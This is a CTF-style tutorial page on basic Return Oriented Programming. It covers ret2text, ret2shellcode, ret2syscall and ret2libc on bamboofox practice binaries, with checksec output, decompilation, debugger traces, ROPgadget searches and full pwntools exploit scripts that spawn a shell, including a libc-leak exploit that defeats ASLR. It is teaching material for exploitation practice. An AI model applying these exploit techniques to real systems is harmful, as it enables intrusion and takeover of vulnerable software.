Skip to content

Basic ROP

With NX (Non-eXecutable) protection enabled, the traditional approach of directly injecting code onto the stack or heap is no longer effective. Consequently, attackers have developed corresponding techniques to bypass this protection.

The most widely used attack technique today is Return Oriented Programming (ROP). Its main idea is to leverage small code snippets (gadgets) already present in the program on top of a stack buffer overflow to modify register or variable values, thereby controlling the program's execution flow.

Gadgets are typically instruction sequences ending with ret. Using such instruction sequences, we can hijack the program's control flow multiple times to execute specific instruction sequences and achieve the purpose of the attack.

The name "Return Oriented Programming" originates from its core mechanism of utilizing the ret instruction from the instruction set to alter the execution order of the instruction flow, and through several gadgets, "execute" a new program.

Using ROP attacks generally requires the following conditions:

  • The program vulnerability allows us to hijack control flow and control subsequent return addresses.

  • We can find gadgets that meet our requirements along with their addresses.

As a fundamental attack technique, ROP attacks are not limited to stack overflow vulnerabilities — they are also widely used in exploiting various other types of vulnerabilities such as heap overflows.

It is important to note that modern operating systems typically enable Address Space Layout Randomization (ASLR), which means the positions of gadgets in memory are often not fixed. Fortunately, their offsets relative to the corresponding segment base addresses are usually fixed. Therefore, after finding suitable gadgets, we can leak program runtime environment information through other means to calculate the actual addresses of gadgets in memory.

ret2text

Principle

ret2text means controlling the program to execute code already present in the program itself (i.e., code in the .text segment). In fact, this attack method is a general description. When we control the program to execute existing code, we can also make it execute several non-contiguous pieces of existing code (i.e., gadgets), which is exactly the ROP we are discussing.

At this point, we need to know the location of the corresponding return code. Of course, the program may also have certain protections enabled, and we need to find ways to bypass them.

Example

In fact, we already introduced this simple attack in the basic principles of stack overflow. Here, we provide another example — the ret2text example used by bamboofox when introducing ROP.

Click to download: ret2text

First, check the program's protection mechanisms:

  ret2text checksec ret2text
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

We can see that the program is a 32-bit binary with only NX (stack non-executable) protection enabled. Next, we use IDA to decompile the program:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [sp+1Ch] [bp-64h]@1

  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts("There is something amazing here, do you know anything?");
  gets((char *)&v4);
  printf("Maybe I will tell you next time !");
  return 0;
}

We can see that the main function uses gets, which clearly has a stack overflow vulnerability. Next, let's look at the disassembly:

.text:080485FD secure          proc near
.text:080485FD
.text:080485FD input           = dword ptr -10h
.text:080485FD secretcode      = dword ptr -0Ch
.text:080485FD
.text:080485FD                 push    ebp
.text:080485FE                 mov     ebp, esp
.text:08048600                 sub     esp, 28h
.text:08048603                 mov     dword ptr [esp], 0 ; timer
.text:0804860A                 call    _time
.text:0804860F                 mov     [esp], eax      ; seed
.text:08048612                 call    _srand
.text:08048617                 call    _rand
.text:0804861C                 mov     [ebp+secretcode], eax
.text:0804861F                 lea     eax, [ebp+input]
.text:08048622                 mov     [esp+4], eax
.text:08048626                 mov     dword ptr [esp], offset unk_8048760
.text:0804862D                 call    ___isoc99_scanf
.text:08048632                 mov     eax, [ebp+input]
.text:08048635                 cmp     eax, [ebp+secretcode]
.text:08048638                 jnz     short locret_8048646
.text:0804863A                 mov     dword ptr [esp], offset command ; "/bin/sh"
.text:08048641                 call    _system

In the secure function, we discover code that calls system("/bin/sh"). So if we directly control the program to return to 0x0804863A, we can obtain a system shell.

Now let's construct the payload. First, we need to determine the number of bytes between the start of the controllable memory and the return address of the main function.

.text:080486A7                 lea     eax, [esp+1Ch]
.text:080486AB                 mov     [esp], eax      ; s
.text:080486AE                 call    _gets

We can see that the string is indexed relative to esp, so we need to debug. Set a breakpoint at the call instruction and examine esp and ebp, as follows:

gef➤  b *0x080486AE
Breakpoint 1 at 0x80486ae: file ret2text.c, line 24.
gef➤  r
There is something amazing here, do you know anything?

Breakpoint 1, 0x080486ae in main () at ret2text.c:24
24      gets(buf);
───────────────────────────────────────────────────────────────────────[ registers ]────
$eax   : 0xffffcd5c    0x08048329    "__libc_start_main"
$ebx   : 0x00000000
$ecx   : 0xffffffff
$edx   : 0xf7faf870    0x00000000
$esp   : 0xffffcd40    0xffffcd5c    0x08048329    "__libc_start_main"
$ebp   : 0xffffcdc8    0x00000000
$esi   : 0xf7fae000    0x001b1db0
$edi   : 0xf7fae000    0x001b1db0
$eip   : 0x080486ae    <main+102> call 0x8048460 <gets@plt>

We can see that esp is 0xffffcd40 and ebp is 0xffffcdc8. Since s is indexed relative to esp at esp+0x1c, we can deduce:

  • The address of s is 0xffffcd5c
  • The offset of s relative to ebp is 0x6c
  • The offset of s relative to the return address is 0x6c+4

Therefore, the final payload is as follows:

##!/usr/bin/env python
from pwn import *

sh = process('./ret2text')
target = 0x804863a
sh.sendline(b'A' * (0x6c + 4) + p32(target))
sh.interactive()

ret2shellcode

Principle

ret2shellcode means controlling the program to execute shellcode. Shellcode refers to assembly code designed to accomplish a specific function — the most common function being to obtain a shell on the target system. Typically, shellcode needs to be written by ourselves, meaning we need to fill executable code into memory ourselves.

On the basis of stack overflow, to execute shellcode, the region where the shellcode resides must have executable permissions when the corresponding binary is running.

It should be noted that newer kernel versions have introduced more aggressive protection policies, and programs typically no longer have segments that are both writable and executable by default, making the traditional ret2shellcode technique no longer directly exploitable.

Example

Here we use the ret2shellcode example from bamboofox. Note that you should conduct this experiment in an environment with an older kernel version (such as Ubuntu 18.04 or older). Since container environments share the same kernel, we cannot set up the environment through Docker here.

Click to download: ret2shellcode

First, check the protections enabled for the program:

  ret2shellcode checksec ret2shellcode
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

We can see that the program has almost no protections enabled, and has readable, writable, and executable segments. Next, we use IDA to decompile the program:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [sp+1Ch] [bp-64h]@1

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("No system for you this time !!!");
  gets((char *)&v4);
  strncpy(buf2, (const char *)&v4, 0x64u);
  printf("bye bye ~");
  return 0;
}

We can see that the program still has a basic stack overflow vulnerability, but this time it also copies the corresponding string to buf2. A quick check reveals that buf2 is in the bss segment.

.bss:0804A080                 public buf2
.bss:0804A080 ; char buf2[100]

Now, let's do some simple debugging to see if this bss segment is executable.

gef➤  b main
Breakpoint 1 at 0x8048536: file ret2shellcode.c, line 8.
gef➤  r
Starting program: /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode 

Breakpoint 1, main () at ret2shellcode.c:8
8       setvbuf(stdout, 0LL, 2, 0LL);
─────────────────────────────────────────────────────────────────────[ source:ret2shellcode.c+8 ]────
      6  int main(void)
      7  {
     8      setvbuf(stdout, 0LL, 2, 0LL);
      9      setvbuf(stdin, 0LL, 1, 0LL);
     10  
─────────────────────────────────────────────────────────────────────[ trace ]────
[#0] 0x8048536 → Name: main()
─────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤  vmmap 
Start      End        Offset     Perm Path
0x08048000 0x08049000 0x00000000 r-x /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode
0x08049000 0x0804a000 0x00000000 r-x /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode
0x0804a000 0x0804b000 0x00001000 rwx /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode
0xf7dfc000 0xf7fab000 0x00000000 r-x /lib/i386-linux-gnu/libc-2.23.so
0xf7fab000 0xf7fac000 0x001af000 --- /lib/i386-linux-gnu/libc-2.23.so
0xf7fac000 0xf7fae000 0x001af000 r-x /lib/i386-linux-gnu/libc-2.23.so
0xf7fae000 0xf7faf000 0x001b1000 rwx /lib/i386-linux-gnu/libc-2.23.so
0xf7faf000 0xf7fb2000 0x00000000 rwx 
0xf7fd3000 0xf7fd5000 0x00000000 rwx 
0xf7fd5000 0xf7fd7000 0x00000000 r-- [vvar]
0xf7fd7000 0xf7fd9000 0x00000000 r-x [vdso]
0xf7fd9000 0xf7ffb000 0x00000000 r-x /lib/i386-linux-gnu/ld-2.23.so
0xf7ffb000 0xf7ffc000 0x00000000 rwx 
0xf7ffc000 0xf7ffd000 0x00022000 r-x /lib/i386-linux-gnu/ld-2.23.so
0xf7ffd000 0xf7ffe000 0x00023000 rwx /lib/i386-linux-gnu/ld-2.23.so
0xfffdd000 0xffffe000 0x00000000 rwx [stack]

Using vmmap, we can see that the segment corresponding to the bss section has executable permissions:

0x0804a000 0x0804b000 0x00001000 rwx /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode

So this time we control the program to execute shellcode — that is, read in the shellcode, then control the program to execute the shellcode located in the bss segment. The corresponding offset calculation is similar to the ret2text example.

The final payload is as follows:

#!/usr/bin/env python
from pwn import *

sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080

sh.sendline(shellcode.ljust(112, b'A') + p32(buf2_addr))
sh.interactive()

Another Example

Here we use a ret2shellcode example where memory page permissions have been dynamically modified via mprotect(). Note that this allows us to complete this experiment on modern operating systems such as Ubuntu 22.04~.

Click to download: ret2shellcode

First, check the protections enabled for the program:

# zer0ptr @ DESKTOP-FHEMUHT in ~/Pwn-Research/ROP/ret2shellcode/wiki [21:14:26]
$ checksec ret2shellcode
[*] '/home/zer0ptr/Pwn-Research/ROP/ret2shellcode/wiki/ret2shellcode'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x400000)
    Stack:      Executable
    RWX:        Has RWX segments
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:    No

We can see that the program has almost no protections enabled, and has readable, writable, and executable segments. Next, we use IDA to decompile the program:

int __fastcall main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  char src[104]; // [rsp+0h] [rbp-70h] BYREF
  void *addr; // [rsp+68h] [rbp-8h]

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  addr = (void *)((unsigned __int64)buf2 & -getpagesize());
  v3 = getpagesize();
  if ( mprotect(addr, v3, 7) >= 0 )
  {
    puts("No system for you this time !!!");
    printf("buf2 address: %p\n", buf2);
    gets(src);
    strncpy(buf2, src, 0x64u);
    printf("bye bye ~");
    return 0;
  }
  else
  {
    perror("mprotect failed");
    return 1;
  }
}

We can see that the program still has a basic stack overflow vulnerability, but this time it also copies the corresponding string to buf2. A quick check reveals that buf2 is in the bss segment.

.bss:00000000004040A0 buf2            db 68h dup(?)           ; DATA XREF: main+51↑o
.bss:00000000004040A0                                         ; main+A4↑o ...

Now, let's do some simple debugging to see if this bss segment is executable (since permissions are modified via mprotect, we naturally set the breakpoint at the address after mprotect is called).

pwndbg> b *0x401291
Breakpoint 1 at 0x401291
pwndbg> r
Starting program: /home/zer0ptr/Pwn-Research/ROP/ret2shellcode/wiki/ret2shellcode
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, 0x0000000000401291 in main ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────────
 RAX  0
 RBX  0
 RCX  0x7ffff7d1eb1b (mprotect+11) ◂— cmp rax, -0xfff
 RDX  7
 RDI  0x404000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x403e20 (_DYNAMIC) ◂— 1
 RSI  0x1000
 R8   0x7ffff7e1bf10 (initial+16) ◂— 4
 R9   0x7ffff7fc9040 (_dl_fini) ◂— endbr64
 R10  0x7ffff7c082e0 ◂— 0xf0022000056ec
 R11  0x202
 R12  0x7fffffffde58 —▸ 0x7fffffffe0fd ◂— '/home/zer0ptr/Pwn-Research/ROP/ret2shellcode/wiki/ret2shellcode'
 R13  0x401216 (main) ◂— endbr64
 R14  0x403e18 (__do_global_dtors_aux_fini_array_entry) —▸ 0x4011e0 (__do_global_dtors_aux) ◂— endbr64
 R15  0x7ffff7ffd040 (_rtld_global) —▸ 0x7ffff7ffe2e0 ◂— 0
 RBP  0x7fffffffdd40 ◂— 1
 RSP  0x7fffffffdcd0 ◂— 1
 RIP  0x401291 (main+123) ◂— test eax, eax
─────────────────────────────────────[ DISASM / x86-64 / set emulate on ]─────────────────────────────────────
  0x401291 <main+123>    test   eax, eax     0 & 0     EFLAGS => 0x246 [ cf PF af ZF sf IF df of ac ]
   0x401293 <main+125>   jns    main+149                    <main+149>
       0x4012ab <main+149>    lea    rax, [rip + 0xd66]     RAX => 0x402018 ◂— 'No system for you this time !!!'
   0x4012b2 <main+156>    mov    rdi, rax               RDI => 0x402018 ◂— 'No system for you this time !!!'
   0x4012b5 <main+159>    call   puts@plt                    <puts@plt>

   0x4012ba <main+164>    lea    rax, [rip + 0x2ddf]     RAX => 0x4040a0 (buf2)
   0x4012c1 <main+171>    mov    rsi, rax                RSI => 0x4040a0 (buf2)
   0x4012c4 <main+174>    lea    rax, [rip + 0xd6d]      RAX => 0x402038 ◂— 'buf2 address: %p\n'
   0x4012cb <main+181>    mov    rdi, rax                RDI => 0x402038 ◂— 'buf2 address: %p\n'
   0x4012ce <main+184>    mov    eax, 0                  EAX => 0
   0x4012d3 <main+189>    call   printf@plt                  <printf@plt>
──────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffdcd0 ◂— 1
01:0008│-068 0x7fffffffdcd8 ◂— 1
02:0010│-060 0x7fffffffdce0 —▸ 0x400040 ◂— 0x400000006
03:0018│-058 0x7fffffffdce8 —▸ 0x7ffff7fe283c (_dl_sysdep_start+1020) ◂— mov rax, qword ptr [rsp + 0x58]
04:0020│-050 0x7fffffffdcf0 ◂— 0x6f0
05:0028│-048 0x7fffffffdcf8 —▸ 0x7fffffffe0d9 ◂— 0xb0ec6c6b3dbd55d3
06:0030│-040 0x7fffffffdd00 —▸ 0x7ffff7fc1000 ◂— jg 0x7ffff7fc1047
07:0038│-038 0x7fffffffdd08 ◂— 0x10101000000
────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────
  0         0x401291 main+123
   1   0x7ffff7c29d90 __libc_start_call_main+128
   2   0x7ffff7c29e40 __libc_start_main+128
   3         0x401155 _start+37
──────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size  Offset File (set vmmap-prefer-relpaths on)
          0x400000           0x401000 r--p     1000       0 ret2shellcode
          0x401000           0x402000 r-xp     1000    1000 ret2shellcode
          0x402000           0x403000 r--p     1000    2000 ret2shellcode
          0x403000           0x404000 r--p     1000    2000 ret2shellcode
          0x404000           0x405000 rwxp     1000    3000 ret2shellcode
    0x7ffff7c00000     0x7ffff7c28000 r--p    28000       0 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7c28000     0x7ffff7dbd000 r-xp   195000   28000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7dbd000     0x7ffff7e15000 r--p    58000  1bd000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7e15000     0x7ffff7e16000 ---p     1000  215000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7e16000     0x7ffff7e1a000 r--p     4000  215000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7e1a000     0x7ffff7e1c000 rw-p     2000  219000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7e1c000     0x7ffff7e29000 rw-p     d000       0 [anon_7ffff7e1c]
    0x7ffff7fad000     0x7ffff7fb0000 rw-p     3000       0 [anon_7ffff7fad]
    0x7ffff7fbb000     0x7ffff7fbd000 rw-p     2000       0 [anon_7ffff7fbb]
    0x7ffff7fbd000     0x7ffff7fc1000 r--p     4000       0 [vvar]
    0x7ffff7fc1000     0x7ffff7fc3000 r-xp     2000       0 [vdso]
    0x7ffff7fc3000     0x7ffff7fc5000 r--p     2000       0 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7fc5000     0x7ffff7fef000 r-xp    2a000    2000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7fef000     0x7ffff7ffa000 r--p     b000   2c000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7ffb000     0x7ffff7ffd000 r--p     2000   37000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7ffd000     0x7ffff7fff000 rw-p     2000   39000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffffffde000     0x7ffffffff000 rwxp    21000       0 [stack]

Similarly, using vmmap, we can see that the segment corresponding to the bss section has executable permissions:

0x404000           0x405000 rwxp     1000    3000 ret2shellcode

The approach is the same as the previous example.

The final payload is as follows:

#!/usr/bin/env python3
from pwn import *
context.binary = './ret2shellcode'
context.log_level = 'debug'
io = process('./ret2shellcode')

buf2_addr = 0x4040a0
shellcode = asm(shellcraft.sh())

payload = shellcode.ljust(100, b'\x90')  
payload = payload.ljust(120, b'a')       
payload += p64(buf2_addr)                

io.sendline(payload)
io.interactive()

Challenges

  • sniperoj-pwn100-shellcode-x86-64

ret2syscall

Principle

ret2syscall means controlling the program to execute a system call to obtain a shell.

Example

Here we continue with the ret2syscall example from bamboofox.

Click to download: ret2syscall

First, check the protections enabled for the program:

  ret2syscall checksec rop
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

We can see that the program is 32-bit with NX protection enabled. Next, we use IDA to decompile it:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [sp+1Ch] [bp-64h]@1

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("This time, no system() and NO SHELLCODE!!!");
  puts("What do you plan to do?");
  gets(&v4);
  return 0;
}

We can see that this is again a stack overflow. Similar to the previous approach, we can determine that the offset of v4 relative to ebp is 108, so the offset from v4 to the return address is 112. This time, since we cannot directly use a specific code segment in the program or write our own code to get a shell, we use gadgets in the program to obtain a shell via system calls. For knowledge about system calls, please refer to:

In simple terms, as long as we place the parameters for the shell-obtaining system call into the corresponding registers, executing int 0x80 will execute the corresponding system call. For instance, here we use the following system call to get a shell:

execve("/bin/sh",NULL,NULL)

Since this is a 32-bit program, we need:

  • The system call number, i.e., eax should be 0xb
  • The first argument, i.e., ebx should point to the address of /bin/sh (the address of sh would also work)
  • The second argument, i.e., ecx should be 0
  • The third argument, i.e., edx should be 0

How do we control the values of these registers? This is where gadgets come in. For example, if the top of the stack is 10, then executing pop eax would set eax to 10. However, we cannot expect a continuous code sequence that simultaneously controls all the corresponding registers, so we need to control them one by one. This is also why we use ret at the end of gadgets to regain control of the program execution flow. To find gadgets specifically, we can use the ROPgadget tool.

First, let's find gadgets that control eax:

  ret2syscall ROPgadget --binary rop  --only 'pop|ret' | grep 'eax'
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bb196 : pop eax ; ret
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret

We can see several options that can control eax. I'll choose the second one as our gadget.

Similarly, we can find gadgets to control the other registers:

  ret2syscall ROPgadget --binary rop  --only 'pop|ret' | grep 'ebx'
0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret
0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret
0x080be23f : pop ebx ; pop edi ; ret
0x0806eb69 : pop ebx ; pop edx ; ret
0x08092258 : pop ebx ; pop esi ; pop ebp ; ret
0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10
0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14
0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc
0x0805ae81 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4
0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8
0x08048913 : pop ebx ; pop esi ; pop edi ; ret
0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4
0x08049a94 : pop ebx ; pop esi ; ret
0x080481c9 : pop ebx ; ret
0x080d7d3c : pop ebx ; ret 0x6f9
0x08099c87 : pop ebx ; ret 8
0x0806eb91 : pop ecx ; pop ebx ; ret
0x0806336b : pop edi ; pop esi ; pop ebx ; ret
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret
0x0805c820 : pop esi ; pop ebx ; ret
0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0807b6ed : pop ss ; pop ebx ; ret

Here, I choose:

0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret

This one can directly control the other three registers.

Additionally, we need to obtain the address of the /bin/sh string:

  ret2syscall ROPgadget --binary rop  --string '/bin/sh' 
Strings information
============================================================
0x080be408 : /bin/sh

We can find the corresponding address. Furthermore, we need the address of int 0x80, as follows:

➜  ret2syscall ROPgadget --binary rop  --only 'int'                 
Gadgets information
============================================================
0x08049421 : int 0x80
0x080938fe : int 0xbb
0x080869b5 : int 0xf6
0x0807b4d4 : int 0xfc

Unique gadgets found: 4

We have also found the corresponding address.

Below is the corresponding payload, where 0xb is the system call number for execve.

#!/usr/bin/env python
from pwn import *

sh = process('./rop')

pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload = flat(
    ['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])
sh.sendline(payload)
sh.interactive()

Challenges

ret2libc

Principle

ret2libc means controlling the program to execute functions in libc, typically returning to a function's PLT entry or the function's actual address (i.e., the content of the function's corresponding GOT table entry). Generally, we choose to execute system("/bin/sh"), so we need to know the address of the system function.

Examples

We present three examples of increasing difficulty.

Example 1

Here we use ret2libc1 from bamboofox.

Click to download: ret2libc1

First, we check the program's security protections:

  ret2libc1 checksec ret2libc1    
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

The program is 32-bit with NX protection enabled. Let's decompile the program to identify the vulnerability:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [sp+1Ch] [bp-64h]@1

  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts("RET2LIBC >_<");
  gets((char *)&v4);
  return 0;
}

We can see a stack overflow when the gets function is called. Furthermore, using ROPgadget, we can check whether /bin/sh exists:

  ret2libc1 ROPgadget --binary ret2libc1 --string '/bin/sh'          
Strings information
============================================================
0x08048720 : /bin/sh

It does exist. Let's also check if the system function exists. After searching in IDA, it is confirmed to exist as well.

.plt:08048460 ; [00000006 BYTES: COLLAPSED FUNCTION _system. PRESS CTRL-NUMPAD+ TO EXPAND]

So we can directly return there to execute the system function. The corresponding payload is as follows:

#!/usr/bin/env python
from pwn import *

sh = process('./ret2libc1')

binsh_addr = 0x8048720
system_plt = 0x08048460
payload = flat([b'a' * 112, system_plt, b'b' * 4, binsh_addr])
sh.sendline(payload)

sh.interactive()

Here we need to pay attention to the function call stack structure. If system is called normally, there would be a corresponding return address. Here we use 'bbbb' as a fake return address, followed by the parameter content.

This example is relatively simple, as it provides both the system address and the /bin/sh address. However, most programs won't have such favorable conditions.

Example 2

Here we use ret2libc2 from bamboofox.

Click to download: ret2libc2

This challenge is basically the same as Example 1, except that the /bin/sh string is no longer present. So this time we need to read in the string ourselves, which requires two gadgets: the first controls the program to read a string, and the second controls the program to execute system("/bin/sh"). Since the vulnerability is the same as above, we won't elaborate further. The specific exploit is as follows:

##!/usr/bin/env python
from pwn import *

sh = process('./ret2libc2')

gets_plt = 0x08048460
system_plt = 0x08048490
pop_ebx = 0x0804843d
buf2 = 0x804a080
payload = flat(
    [b'a' * 112, gets_plt, pop_ebx, buf2, system_plt, 0xdeadbeef, buf2])
sh.sendline(payload)
sh.sendline(b'/bin/sh')
sh.interactive()

Note that here we write the /bin/sh string to buf2 in the program's bss segment and pass its address as the argument to system. This allows us to obtain a shell.

Example 3

Here we use ret2libc3 from bamboofox.

Click to download: ret2libc3

Building on Example 2, the system function address has also been removed. Now we need to find both the system function address and the /bin/sh string address. First, let's check the security protections:

  ret2libc3 checksec ret2libc3
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

We can see that the program still has NX (stack non-executable) protection enabled. Looking at the source code, we find the bug is still a stack overflow:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [sp+1Ch] [bp-64h]@1

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("No surprise anymore, system disappeard QQ.");
  printf("Can you find it !?");
  gets((char *)&v4);
  return 0;
}

So how do we obtain the address of the system function? This mainly utilizes two key concepts:

  • The system function belongs to libc, and the relative offsets between functions in the libc.so dynamic library are fixed.
  • Even if the program has ASLR protection, only the middle bits of addresses are randomized — the lowest 12 bits do not change. There are libc collections available on GitHub:
  • https://github.com/niklasb/libc-database

So if we know the address of any function in libc, we can determine which libc the program uses. From there, we can determine the address of the system function.

How do we obtain the address of a function in libc? The commonly used method is GOT table leaking — i.e., outputting the content of a function's corresponding GOT entry. Of course, due to libc's lazy binding mechanism, we need to leak the address of a function that has already been executed.

Naturally, we could follow the above steps to first identify the libc version, then look up offsets in the program, and then obtain the system address again. However, this involves too many manual operations and is rather cumbersome. Here we provide a libc exploitation tool — please refer to the readme for specific details:

Additionally, after obtaining the libc, it actually contains the /bin/sh string as well, so we can obtain the address of /bin/sh at the same time.

Here we leak the address of __libc_start_main because it is where the program was initially executed. The basic exploitation approach is as follows:

  • Leak the __libc_start_main address
  • Determine the libc version
  • Obtain the system address and the /bin/sh address
  • Re-execute the program
  • Trigger the stack overflow to execute system('/bin/sh')

The exploit is as follows:

#!/usr/bin/env python
from pwn import *

pc = './ret2libc3'
aslr = True
context.log_level = 'debug'  
context.arch = 'i386' 

libc = ELF('/lib/i386-linux-gnu/libc.so.6')
ret2libc3 = ELF('./ret2libc3')

p = process(pc, aslr=aslr)

if __name__ == '__main__':
    puts_plt = ret2libc3.plt['puts']
    libc_start_main_got = ret2libc3.got['__libc_start_main']
    start_addr = ret2libc3.symbols['_start']

    # log.info(f'start_addr --> 0x{start_addr:x}')

    payload = b'a' * 112
    payload += p32(puts_plt)
    payload += p32(start_addr)
    payload += p32(libc_start_main_got)

    p.sendline(payload)
    p.recvuntil(b'Can you find it !?')

    libc_start_main_addr = u32(p.recv(4))
    libc_base_addr = libc_start_main_addr - libc.symbols['__libc_start_main']
    system_addr = libc_base_addr + libc.symbols['system']

    binsh_offset = next(libc.search(b'/bin/sh\x00'))
    binsh_addr = libc_base_addr + binsh_offset

    payload2 = b'a' * 112
    payload2 += p32(system_addr)
    payload2 += p32(0xdeadbeef)  
    payload2 += p32(binsh_addr)  
    p.sendline(payload2)
    p.interactive()

Challenges

  • train.cs.nctu.edu.tw: ret2libc

Challenges

  • train.cs.nctu.edu.tw: rop
  • 2013-PlaidCTF-ropasaurusrex
  • Defcon 2015 Qualifier: R0pbaby

References